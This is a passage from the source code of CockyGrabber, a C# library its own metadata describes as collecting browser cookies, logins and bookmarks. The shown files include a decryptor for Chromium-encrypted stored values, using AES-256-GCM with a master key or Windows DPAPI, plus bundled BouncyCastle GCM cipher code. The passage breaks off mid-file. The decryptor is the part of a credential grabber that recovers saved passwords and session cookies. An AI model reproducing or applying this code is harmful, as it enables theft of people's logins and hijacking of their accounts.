| using System.Runtime.CompilerServices; 4 | using System.Runtime.InteropServices; 5 | 6 | // Allgemeine Informationen über eine Assembly werden über die folgenden 7 | // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, 8 | // die einer Assembly zugeordnet sind. 9 | [assembly: AssemblyTitle("CockyGrabber")] 10 | [assembly: AssemblyDescription("C# library for the collection of browser information such as cookies, logins, bookmarks and more")] 11 | [assembly: AssemblyConfiguration("")] 12 | [assembly: AssemblyCompany("Void")] 13 | [assembly: AssemblyProduct("CockyGrabber")] 14 | [assembly: AssemblyCopyright("Copyright © Void 2022")] 15 | [assembly: AssemblyTrademark("")] 16 | [assembly: AssemblyCulture("")] 17 | 18 | // Durch Festlegen von ComVisible auf FALSE werden die Typen in dieser Assembly 19 | // für COM-Komponenten unsichtbar. Wenn Sie auf einen Typ in dieser Assembly von 20 | // COM aus zugreifen müssen, sollten Sie das ComVisible-Attribut für diesen Typ auf "True" festlegen. 21 | [assembly: ComVisible(false)] 22 | 23 | // Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird 24 | [assembly: Guid("4b568f36-1d92-4937-a8a0-f9960b1f14ba")] 25 | 26 | // Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: 27 | // 28 | // Hauptversion 29 | // Nebenversion 30 | // Buildnummer 31 | // Revision 32 | // 33 | // Sie können alle Werte angeben oder Standardwerte für die Build- und Revisionsnummern verwenden, 34 | // indem Sie "*" wie unten gezeigt eingeben: 35 | // [assembly: AssemblyVersion("1.0.*")] 36 | [assembly: AssemblyVersion("2.4.0.0")] 37 | [assembly: AssemblyFileVersion("2.4.0.0")] 38 | [assembly: NeutralResourcesLanguage("en")] 39 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/Aes256GcmDecryptor.cs: -------------------------------------------------------------------------------- 1 | using System.Text; 2 | using CockyGrabber.Utility.Cryptography.BouncyCastle; 3 | 4 | namespace CockyGrabber.Utility.Cryptography 5 | { 6 | internal static class Aes256GcmDecryptor 7 | { 8 | public static string Decrypt(byte[] encryptedBytes, KeyParameter key, byte[] iv) 9 | { 10 | GcmBlockCipher cipher = new GcmBlockCipher(new AesEngine()); 11 | AeadParameters parameters = new AeadParameters(key, 128, iv, null); 12 | 13 | cipher.Init(false, parameters); 14 | byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedBytes.Length)]; 15 | int retLen = cipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, plainBytes, 0); 16 | cipher.DoFinal(plainBytes, retLen); 17 | 18 | return Encoding.UTF8.GetString(plainBytes); 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BlinkDecryptor.cs: -------------------------------------------------------------------------------- 1 | //#define DEBUGGING 2 | 3 | using System.Linq; 4 | using System.Text; 5 | using CockyGrabber.Utility.Cryptography.BouncyCastle; 6 | 7 | namespace CockyGrabber.Utility.Cryptography 8 | { 9 | public static class BlinkDecryptor 10 | { 11 | /// 12 | /// Decrypt a blink AES256GCM encrypted value 13 | /// 14 | /// Value to decrypt 15 | /// Master Key 16 | /// Decrypted value as a string 17 | public static string DecryptValue(byte[] byteValue, KeyParameter key) 18 | { 19 | try 20 | { 21 | if (byteValue[0] == 'v' && byteValue[1] == '1' && (byteValue[2] == '0' || byteValue[2] == '1')) 22 | { 23 | byte[] iv = byteValue.Skip(3).Take(12).ToArray(); // From 3 to 15 24 | byte[] payload = byteValue.Skip(15).ToArray(); // from 15 to end 25 | 26 | return Aes256GcmDecryptor.Decrypt(payload, key, iv); // Decrypt with AES256GCM 27 | } 28 | else 29 | { 30 | return Encoding.Default.GetString(DPAPI.Decrypt(byteValue)); // Decrypt with DPAPI 31 | } 32 | } 33 | #if DEBUGGING 34 | catch (System.Exception ex) 35 | { 36 | return $"ERROR: {ex}"; // Return error message 37 | } 38 | #else 39 | catch 40 | { 41 | return "$CG:ERROR$"; // Return a string indicating an error 42 | } 43 | #endif 44 | } 45 | } 46 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/AeadParameters.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | public class AeadParameters : ICipherParameters 10 | { 11 | private readonly byte[] associatedText; 12 | private readonly byte[] nonce; 13 | private readonly KeyParameter key; 14 | private readonly int macSize; 15 | 16 | /** 17 | * Base constructor. 18 | * 19 | * @param key key to be used by underlying cipher 20 | * @param macSize macSize in bits 21 | * @param nonce nonce to be used 22 | */ 23 | public AeadParameters(KeyParameter key, int macSize, byte[] nonce) 24 | : this(key, macSize, nonce, null) 25 | { 26 | } 27 | 28 | /** 29 | * Base constructor. 30 | * 31 | * @param key key to be used by underlying cipher 32 | * @param macSize macSize in bits 33 | * @param nonce nonce to be used 34 | * @param associatedText associated text, if any 35 | */ 36 | public AeadParameters( 37 | KeyParameter key, 38 | int macSize, 39 | byte[] nonce, 40 | byte[] associatedText) 41 | { 42 | this.key = key; 43 | this.nonce = nonce; 44 | this.macSize = macSize; 45 | this.associatedText = associatedText; 46 | } 47 | 48 | public virtual KeyParameter Key 49 | { 50 | get { return key; } 51 | } 52 | 53 | public virtual int MacSize 54 | { 55 | get { return macSize; } 56 | } 57 | 58 | public virtual byte[] GetAssociatedText() 59 | { 60 | return associatedText; 61 | } 62 | 63 | public virtual byte[] GetNonce() 64 | { 65 | return nonce; 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/Arrays.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | public abstract class Arrays 10 | { 11 | /// 12 | /// Are two arrays equal. 13 | /// 14 | /// Left side. 15 | /// Right side. 16 | /// True if equal. 17 | public static bool AreEqual(byte[] a, byte[] b) 18 | { 19 | if (a == b) 20 | return true; 21 | 22 | if (a == null || b == null) 23 | return false; 24 | 25 | return HaveSameContents(a, b); 26 | } 27 | 28 | /// 29 | /// A constant time equals comparison - does not terminate early if 30 | /// test will fail. 31 | /// 32 | /// first array 33 | /// second array 34 | /// true if arrays equal, false otherwise. 35 | public static bool ConstantTimeAreEqual(byte[] a, byte[] b) 36 | { 37 | if (null == a || null == b) 38 | return false; 39 | if (a == b) 40 | return true; 41 | 42 | int len = System.Math.Min(a.Length, b.Length); 43 | int nonEqual = a.Length ^ b.Length; 44 | for (int i = 0; i < len; ++i) 45 | { 46 | nonEqual |= (a[i] ^ b[i]); 47 | } 48 | for (int i = len; i < b.Length; ++i) 49 | { 50 | nonEqual |= (b[i] ^ ~b[i]); 51 | } 52 | return 0 == nonEqual; 53 | } 54 | 55 | private static bool HaveSameContents( 56 | byte[] a, 57 | byte[] b) 58 | { 59 | int i = a.Length; 60 | if (i != b.Length) 61 | return false; 62 | while (i != 0) 63 | { 64 | --i; 65 | if (a[i] != b[i]) 66 | return false; 67 | } 68 | return true; 69 | } 70 | 71 | public static byte[] Clone(byte[] data) 72 | { 73 | return data == null ? null : (byte[])data.Clone(); 74 | } 75 | 76 | public static ulong[] Clone(ulong[] data) 77 | { 78 | return data == null ? null : (ulong[])data.Clone(); 79 | } 80 | 81 | public static void Fill( 82 | byte[] buf, 83 | byte b) 84 | { 85 | int i = buf.Length; 86 | while (i > 0) 87 | { 88 | buf[--i] = b; 89 | } 90 | } 91 | 92 | /** 93 | * Make a copy of a range of bytes from the passed in data array. The range can 94 | * extend beyond the end of the input array, in which case the return array will 95 | * be padded with zeroes. 96 | * 97 | * @param data the array from which the data is to be copied. 98 | * @param from the start index at which the copying should take place. 99 | * @param to the final index of the range (exclusive). 100 | * 101 | * @return a new byte array containing the range given. 102 | */ 103 | public static byte[] CopyOfRange(byte[] data, int from, int to) 104 | { 105 | int newLength = GetLength(from, to); 106 | byte[] tmp = new byte[newLength]; 107 | Array.Copy(data, from, tmp, 0, System.Math.Min(newLength, data.Length - from)); 108 | return tmp; 109 | } 110 | 111 | private static int GetLength(int from, int to) 112 | { 113 | int newLength = to - from; 114 | if (newLength < 0) 115 | throw new ArgumentException(from + " > " + to); 116 | return newLength; 117 | } 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/BasicGcmExponentiator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | public class BasicGcmExponentiator : IGcmExponentiator 10 | { 11 | private ulong[] x; 12 | 13 | public void Init(byte[] x) 14 | { 15 | this.x = GcmUtilities.AsUlongs(x); 16 | } 17 | 18 | public void ExponentiateX(long pow, byte[] output) 19 | { 20 | // Initial value is little-endian 1 21 | ulong[] y = GcmUtilities.OneAsUlongs(); 22 | 23 | if (pow > 0) 24 | { 25 | ulong[] powX = Arrays.Clone(x); 26 | do 27 | { 28 | if ((pow & 1L) != 0) 29 | { 30 | GcmUtilities.Multiply(y, powX); 31 | } 32 | GcmUtilities.Square(powX, powX); 33 | pow >>= 1; 34 | } 35 | while (pow > 0); 36 | } 37 | 38 | GcmUtilities.AsBytes(y, output); 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/Bits.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | internal abstract class Bits 10 | { 11 | internal static ulong BitPermuteStep(ulong x, ulong m, int s) 12 | { 13 | ulong t = (x ^ (x >> s)) & m; 14 | return (t ^ (t << s)) ^ x; 15 | } 16 | 17 | internal static ulong BitPermuteStepSimple(ulong x, ulong m, int s) 18 | { 19 | return ((x & m) << s) | ((x >> s) & m); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/Check.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | internal class Check 10 | { 11 | internal static void DataLength(byte[] buf, int off, int len, string msg) 12 | { 13 | if (off > (buf.Length - len)) 14 | throw new Exception(msg); 15 | } 16 | 17 | internal static void OutputLength(byte[] buf, int off, int len, string msg) 18 | { 19 | if (off > (buf.Length - len)) 20 | throw new Exception(msg); 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/GcmUtilities.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | internal abstract class GcmUtilities 10 | { 11 | private const uint E1 = 0xe1000000; 12 | private const ulong E1UL = (ulong)E1 << 32; 13 | 14 | internal static ulong[] OneAsUlongs() 15 | { 16 | ulong[] tmp = new ulong[2]; 17 | tmp[0] = 1UL << 63; 18 | return tmp; 19 | } 20 | 21 | internal static void AsBytes(ulong[] x, byte[] z) 22 | { 23 | Pack.UInt64_To_BE(x, z, 0); 24 | } 25 | 26 | internal static ulong[] AsUlongs(byte[] x) 27 | { 28 | ulong[] z = new ulong[2]; 29 | Pack.BE_To_UInt64(x, 0, z); 30 | return z; 31 | } 32 | 33 | internal static void AsUlongs(byte[] x, ulong[] z, int zOff) 34 | { 35 | Pack.BE_To_UInt64(x, 0, z, zOff, 2); 36 | } 37 | 38 | internal static void DivideP(ulong[] x, int xOff, ulong[] z, int zOff) 39 | { 40 | ulong x0 = x[xOff + 0], x1 = x[xOff + 1]; 41 | ulong m = (ulong)((long)x0 >> 63); 42 | x0 ^= (m & E1UL); 43 | z[zOff + 0] = (x0 << 1) | (x1 >> 63); 44 | z[zOff + 1] = (x1 << 1) | (ulong)(-(long)m); 45 | } 46 | 47 | internal static void Multiply(byte[] x, byte[] y) 48 | { 49 | ulong[] t1 = GcmUtilities.AsUlongs(x); 50 | ulong[] t2 = GcmUtilities.AsUlongs(y); 51 | GcmUtilities.Multiply(t1, t2); 52 | GcmUtilities.AsBytes(t1, x); 53 | } 54 | 55 | internal static void Multiply(ulong[] x, ulong[] y) 56 | { 57 | //ulong x0 = x[0], x1 = x[1]; 58 | //ulong y0 = y[0], y1 = y[1]; 59 | //ulong z0 = 0, z1 = 0, z2 = 0; 60 | 61 | //for (int j = 0; j < 64; ++j) 62 | //{ 63 | // ulong m0 = (ulong)((long)x0 >> 63); x0 <<= 1; 64 | // z0 ^= (y0 & m0); 65 | // z1 ^= (y1 & m0); 66 | 67 | // ulong m1 = (ulong)((long)x1 >> 63); x1 <<= 1; 68 | // z1 ^= (y0 & m1); 69 | // z2 ^= (y1 & m1); 70 | 71 | // ulong c = (ulong)((long)(y1 << 63) >> 8); 72 | // y1 = (y1 >> 1) | (y0 << 63); 73 | // y0 = (y0 >> 1) ^ (c & E1UL); 74 | //} 75 | 76 | //z0 ^= z2 ^ (z2 >> 1) ^ (z2 >> 2) ^ (z2 >> 7); 77 | //z1 ^= (z2 << 63) ^ (z2 << 62) ^ (z2 << 57); 78 | 79 | //x[0] = z0; 80 | //x[1] = z1; 81 | 82 | /* 83 | * "Three-way recursion" as described in "Batch binary Edwards", Daniel J. Bernstein. 84 | * 85 | * Without access to the high part of a 64x64 product x * y, we use a bit reversal to calculate it: 86 | * rev(x) * rev(y) == rev((x * y) << 1) 87 | */ 88 | 89 | ulong x0 = x[0], x1 = x[1]; 90 | ulong y0 = y[0], y1 = y[1]; 91 | ulong x0r = Longs.Reverse(x0), x1r = Longs.Reverse(x1); 92 | ulong y0r = Longs.Reverse(y0), y1r = Longs.Reverse(y1); 93 | 94 | ulong h0 = Longs.Reverse(ImplMul64(x0r, y0r)); 95 | ulong h1 = ImplMul64(x0, y0) << 1; 96 | ulong h2 = Longs.Reverse(ImplMul64(x1r, y1r)); 97 | ulong h3 = ImplMul64(x1, y1) << 1; 98 | ulong h4 = Longs.Reverse(ImplMul64(x0r ^ x1r, y0r ^ y1r)); 99 | ulong h5 = ImplMul64(x0 ^ x1, y0 ^ y1) << 1; 100 | 101 | ulong z0 = h0; 102 | ulong z1 = h1 ^ h0 ^ h2 ^ h4; 103 | ulong z2 = h2 ^ h1 ^ h3 ^ h5; 104 | ulong z3 = h3; 105 | 106 | z1 ^= z3 ^ (z3 >> 1) ^ (z3 >> 2) ^ (z3 >> 7); 107 | // z2 ^= (z3 << 63) ^ (z3 << 62) ^ (z3 << 57); 108 | z2 ^= (z3 << 62) ^ (z3 << 57); 109 | 110 | z0 ^= z2 ^ (z2 >> 1) ^ (z2 >> 2) ^ (z2 >> 7); 111 | z1 ^= (z2 << 63) ^ (z2 << 62) ^ (z2 << 57); 112 | 113 | x[0] = z0; 114 | x[1] = z1; 115 | } 116 | 117 | internal static void MultiplyP7(ulong[] x, int xOff, ulong[] z, int zOff) 118 | { 119 | ulong x0 = x[xOff + 0], x1 = x[xOff + 1]; 120 | ulong c = x1 << 57; 121 | z[zOff + 0] = (x0 >> 7) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); 122 | z[zOff + 1] = (x1 >> 7) | (x0 << 57); 123 | } 124 | 125 | internal static void Square(ulong[] x, ulong[] z) 126 | { 127 | ulong[] t = new ulong[4]; 128 | Expand64To128Rev(x[0], t, 0); 129 | Expand64To128Rev(x[1], t, 2); 130 | 131 | ulong z0 = t[0], z1 = t[1], z2 = t[2], z3 = t[3]; 132 | 133 | z1 ^= z3 ^ (z3 >> 1) ^ (z3 >> 2) ^ (z3 >> 7); 134 | // z2 ^= (z3 << 63) ^ (z3 << 62) ^ (z3 << 57); 135 | z2 ^= (z3 << 62) ^ (z3 << 57); 136 | 137 | z0 ^= z2 ^ (z2 >> 1) ^ (z2 >> 2) ^ (z2 >> 7); 138 | z1 ^= (z2 << 63) ^ (z2 << 62) ^ (z2 << 57); 139 | 140 | z[0] = z0; 141 | z[1] = z1; 142 | } 143 | 144 | private const ulong M64R = 0xAAAAAAAAAAAAAAAAUL; 145 | internal static void Expand64To128Rev(ulong x, ulong[] z, int zOff) 146 | { 147 | // "shuffle" low half to even bits and high half to odd bits 148 | x = Bits.BitPermuteStep(x, 0x00000000FFFF0000UL, 16); 149 | x = Bits.BitPermuteStep(x, 0x0000FF000000FF00UL, 8); 150 | x = Bits.BitPermuteStep(x, 0x00F000F000F000F0UL, 4); 151 | x = Bits.BitPermuteStep(x, 0x0C0C0C0C0C0C0C0CUL, 2); 152 | x = Bits.BitPermuteStep(x, 0x2222222222222222UL, 1); 153 | 154 | z[zOff] = (x) & M64R; 155 | z[zOff + 1] = (x << 1) & M64R; 156 | } 157 | 158 | internal static void Xor(byte[] x, byte[] y) 159 | { 160 | int i = 0; 161 | do 162 | { 163 | x[i] ^= y[i]; ++i; 164 | x[i] ^= y[i]; ++i; 165 | x[i] ^= y[i]; ++i; 166 | x[i] ^= y[i]; ++i; 167 | } 168 | while (i < 16); 169 | } 170 | 171 | internal static void Xor(byte[] x, byte[] y, int yOff) 172 | { 173 | int i = 0; 174 | do 175 | { 176 | x[i] ^= y[yOff + i]; ++i; 177 | x[i] ^= y[yOff + i]; ++i; 178 | x[i] ^= y[yOff + i]; ++i; 179 | x[i] ^= y[yOff + i]; ++i; 180 | } 181 | while (i < 16); 182 | } 183 | 184 | internal static void Xor(byte[] x, int xOff, byte[] y, int yOff, byte[] z, int zOff) 185 | { 186 | int i = 0; 187 | do 188 | { 189 | z[zOff + i] = (byte)(x[xOff + i] ^ y[yOff + i]); ++i; 190 | z[zOff + i] = (byte)(x[xOff + i] ^ y[yOff + i]); ++i; 191 | z[zOff + i] = (byte)(x[xOff + i] ^ y[yOff + i]); ++i; 192 | z[zOff + i] = (byte)(x[xOff + i] ^ y[yOff + i]); ++i; 193 | } 194 | while (i < 16); 195 | } 196 | 197 | internal static void Xor(byte[] x, byte[] y, int yOff, int yLen) 198 | { 199 | while (--yLen >= 0) 200 | { 201 | x[yLen] ^= y[yOff + yLen]; 202 | } 203 | } 204 | 205 | internal static void Xor(byte[] x, int xOff, byte[] y, int yOff, int len) 206 | { 207 | while (--len >= 0) 208 | { 209 | x[xOff + len] ^= y[yOff + len]; 210 | } 211 | } 212 | 213 | internal static void Xor(ulong[] x, int xOff, ulong[] y, int yOff, ulong[] z, int zOff) 214 | { 215 | z[zOff + 0] = x[xOff + 0] ^ y[yOff + 0]; 216 | z[zOff + 1] = x[xOff + 1] ^ y[yOff + 1]; 217 | } 218 | 219 | private static ulong ImplMul64(ulong x, ulong y) 220 | { 221 | ulong x0 = x & 0x1111111111111111UL; 222 | ulong x1 = x & 0x2222222222222222UL; 223 | ulong x2 = x & 0x4444444444444444UL; 224 | ulong x3 = x & 0x8888888888888888UL; 225 | 226 | ulong y0 = y & 0x1111111111111111UL; 227 | ulong y1 = y & 0x2222222222222222UL; 228 | ulong y2 = y & 0x4444444444444444UL; 229 | ulong y3 = y & 0x8888888888888888UL; 230 | 231 | ulong z0 = (x0 * y0) ^ (x1 * y3) ^ (x2 * y2) ^ (x3 * y1); 232 | ulong z1 = (x0 * y1) ^ (x1 * y0) ^ (x2 * y3) ^ (x3 * y2); 233 | ulong z2 = (x0 * y2) ^ (x1 * y1) ^ (x2 * y0) ^ (x3 * y3); 234 | ulong z3 = (x0 * y3) ^ (x1 * y2) ^ (x2 * y1) ^ (x3 * y0); 235 | 236 | z0 &= 0x1111111111111111UL; 237 | z1 &= 0x2222222222222222UL; 238 | z2 &= 0x4444444444444444UL; 239 | z3 &= 0x8888888888888888UL; 240 | 241 | return z0 | z1 | z2 | z3; 242 | } 243 | } 244 | } 245 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/IAeadBlockCipher.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | /// An IAeadCipher based on an IBlockCipher. 10 | public interface IAeadBlockCipher 11 | : IAeadCipher 12 | { 13 | /// The block size for this cipher, in bytes. 14 | int GetBlockSize(); 15 | 16 | /// The block cipher underlying this algorithm. 17 | IBlockCipher GetUnderlyingCipher(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/IAeadCipher.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | /// 10 | /// A cipher mode that includes authenticated encryption with a streaming mode and optional 11 | /// associated data. 12 | /// 13 | /// 14 | /// Implementations of this interface may operate in a packet mode (where all input data is 15 | /// buffered and processed during the call to DoFinal, or in a streaming mode (where output 16 | /// data is incrementally produced with each call to ProcessByte or ProcessBytes. This is 17 | /// important to consider during decryption: in a streaming mode, unauthenticated plaintext 18 | /// data may be output prior to the call to DoFinal that results in an authentication failure. 19 | /// The higher level protocol utilising this cipher must ensure the plaintext data is handled 20 | /// appropriately until the end of data is reached and the entire ciphertext is authenticated. 21 | /// 22 | /// 23 | public interface IAeadCipher 24 | { 25 | /// The name of the algorithm this cipher implements. 26 | string AlgorithmName { get; } 27 | 28 | /// Initialise the cipher. 29 | /// Parameter can either be an AeadParameters or a ParametersWithIV object. 30 | /// Initialise for encryption if true, for decryption if false. 31 | /// The key or other data required by the cipher. 32 | void Init(bool forEncryption, ICipherParameters parameters); 33 | 34 | /// Add a single byte to the associated data check. 35 | /// If the implementation supports it, this will be an online operation and will not retain the associated data. 36 | /// The byte to be processed. 37 | void ProcessAadByte(byte input); 38 | 39 | /// Add a sequence of bytes to the associated data check. 40 | /// If the implementation supports it, this will be an online operation and will not retain the associated data. 41 | /// The input byte array. 42 | /// The offset into the input array where the data to be processed starts. 43 | /// The number of bytes to be processed. 44 | void ProcessAadBytes(byte[] inBytes, int inOff, int len); 45 | 46 | /** 47 | * Encrypt/decrypt a single byte. 48 | * 49 | * @param input the byte to be processed. 50 | * @param outBytes the output buffer the processed byte goes into. 51 | * @param outOff the offset into the output byte array the processed data starts at. 52 | * @return the number of bytes written to out. 53 | * @exception DataLengthException if the output buffer is too small. 54 | */ 55 | int ProcessByte(byte input, byte[] outBytes, int outOff); 56 | 57 | /** 58 | * Process a block of bytes from in putting the result into out. 59 | * 60 | * @param inBytes the input byte array. 61 | * @param inOff the offset into the in array where the data to be processed starts. 62 | * @param len the number of bytes to be processed. 63 | * @param outBytes the output buffer the processed bytes go into. 64 | * @param outOff the offset into the output byte array the processed data starts at. 65 | * @return the number of bytes written to out. 66 | * @exception DataLengthException if the output buffer is too small. 67 | */ 68 | int ProcessBytes(byte[] inBytes, int inOff, int len, byte[] outBytes, int outOff); 69 | 70 | /** 71 | * Finish the operation either appending or verifying the MAC at the end of the data. 72 | * 73 | * @param outBytes space for any resulting output data. 74 | * @param outOff offset into out to start copying the data at. 75 | * @return number of bytes written into out. 76 | * @throws InvalidOperationException if the cipher is in an inappropriate state. 77 | * @throws InvalidCipherTextException if the MAC fails to match. 78 | */ 79 | int DoFinal(byte[] outBytes, int outOff); 80 | 81 | /** 82 | * Return the value of the MAC associated with the last stream processed. 83 | * 84 | * @return MAC for plaintext data. 85 | */ 86 | byte[] GetMac(); 87 | 88 | /** 89 | * Return the size of the output buffer required for a ProcessBytes 90 | * an input of len bytes. 91 | * 92 | * @param len the length of the input. 93 | * @return the space required to accommodate a call to ProcessBytes 94 | * with len bytes of input. 95 | */ 96 | int GetUpdateOutputSize(int len); 97 | 98 | /** 99 | * Return the size of the output buffer required for a ProcessBytes plus a 100 | * DoFinal with an input of len bytes. 101 | * 102 | * @param len the length of the input. 103 | * @return the space required to accommodate a call to ProcessBytes and DoFinal 104 | * with len bytes of input. 105 | */ 106 | int GetOutputSize(int len); 107 | 108 | /// 109 | /// Reset the cipher to the same state as it was after the last init (if there was one). 110 | /// 111 | void Reset(); 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/IBlockCipher.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | /// Base interface for a symmetric key block cipher. 10 | public interface IBlockCipher 11 | { 12 | /// The name of the algorithm this cipher implements. 13 | string AlgorithmName { get; } 14 | 15 | /// Initialise the cipher. 16 | /// Initialise for encryption if true, for decryption if false. 17 | /// The key or other data required by the cipher. 18 | void Init(bool forEncryption, ICipherParameters parameters); 19 | 20 | /// The block size for this cipher, in bytes. 21 | int GetBlockSize(); 22 | 23 | /// Indicates whether this cipher can handle partial blocks. 24 | bool IsPartialBlockOkay { get; } 25 | 26 | /// Process a block. 27 | /// The input buffer. 28 | /// The offset into inBuf that the input block begins. 29 | /// The output buffer. 30 | /// The offset into outBuf to write the output block. 31 | /// If input block is wrong size, or outBuf too small. 32 | /// The number of bytes processed and produced. 33 | int ProcessBlock(byte[] inBuf, int inOff, byte[] outBuf, int outOff); 34 | 35 | /// 36 | /// Reset the cipher to the same state as it was after the last init (if there was one). 37 | /// 38 | void Reset(); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/ICipherParameters.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | /** 10 | * all parameter classes implement this. 11 | */ 12 | public interface ICipherParameters 13 | { 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/IGcmExponentiator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | public interface IGcmExponentiator 10 | { 11 | void Init(byte[] x); 12 | void ExponentiateX(long pow, byte[] output); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/IGcmMultiplier.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | public interface IGcmMultiplier 10 | { 11 | void Init(byte[] H); 12 | void MultiplyH(byte[] x); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/KeyParameter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | public class KeyParameter : ICipherParameters 10 | { 11 | private readonly byte[] key; 12 | 13 | public KeyParameter(byte[] key) 14 | { 15 | if (key == null) 16 | throw new ArgumentNullException("key"); 17 | 18 | this.key = (byte[])key.Clone(); 19 | } 20 | 21 | public KeyParameter(byte[] key, int keyOff, int keyLen) 22 | { 23 | if (key == null) 24 | throw new ArgumentNullException("key"); 25 | if (keyOff < 0 || keyOff > key.Length) 26 | throw new ArgumentOutOfRangeException("keyOff"); 27 | if (keyLen < 0 || keyLen > (key.Length - keyOff)) 28 | throw new ArgumentOutOfRangeException("keyLen"); 29 | 30 | this.key = new byte[keyLen]; 31 | Array.Copy(key, keyOff, this.key, 0, keyLen); 32 | } 33 | 34 | public byte[] GetKey() 35 | { 36 | return (byte[])key.Clone(); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/Longs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | public abstract class Longs 10 | { 11 | public static ulong Reverse(ulong i) 12 | { 13 | i = Bits.BitPermuteStepSimple(i, 0x5555555555555555UL, 1); 14 | i = Bits.BitPermuteStepSimple(i, 0x3333333333333333UL, 2); 15 | i = Bits.BitPermuteStepSimple(i, 0x0F0F0F0F0F0F0F0FUL, 4); 16 | return ReverseBytes(i); 17 | } 18 | 19 | public static ulong ReverseBytes(ulong i) 20 | { 21 | return RotateLeft(i & 0xFF000000FF000000UL, 8) | 22 | RotateLeft(i & 0x00FF000000FF0000UL, 24) | 23 | RotateLeft(i & 0x0000FF000000FF00UL, 40) | 